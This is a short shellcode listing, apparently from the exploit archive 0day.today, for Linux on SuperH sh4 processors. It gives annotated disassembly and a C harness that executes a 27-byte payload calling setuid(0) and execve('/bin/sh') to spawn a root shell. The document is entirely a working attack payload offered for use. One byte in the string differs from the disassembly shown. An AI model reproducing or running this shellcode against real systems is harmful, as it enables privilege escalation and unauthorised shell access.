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Linux/SuperH - sh4 - setuid(0) ; execve("/bin/sh", NULL, NULL) - 27 bytes
[/*
Linux/SuperH - sh4 - setuid(0) ; execve("/bin/sh", NULL, NULL) - 27 bytes
Tested on debian-sh4 2.6.32-5-sh7751r
by Jonathan Salwan - twitter: @jonathansalwan
400054: 17 e3 mov #23,r3
400056: 4a 24 xor r4,r4
400058: 0b c3 trapa #11
40005a: 3a 23 xor r3,r3
40005c: 0b e3 mov #11,r3
40005e: 02 c7 mova 400068 <__bss_start-0x10008>,r0
400060: 03 64 mov r0,r4
400062: 5a 25 xor r5,r5
400064: 6a 26 xor r6,r6
400066: 0b c3 trapa #11
400068: 2f 62 exts.w r2,r2
40006a: 69 6e swap.w r6,r14
40006c: 2f 73 add #47,r3
40006e: 68 00 .word 0x0068
*/
#include <stdio.h>
#include <string.h>
char *SC = "\x17\xe3\x4e\x24"
"\x0b\xc3\x3a\x23"
"\x0b\xe3\x02\xc7"
"\x03\x64\x5a\x25"
"\x6a\x26\x0b\xc3"
"\x2f\x62\x69\x6e"
"\x2f\x73\x68";
void main(void)
{
fprintf(stdout, "Length: %d\n", strlen(SC));
(*(void(*)()) SC)();
}
# 0day.today [2024-10-06] #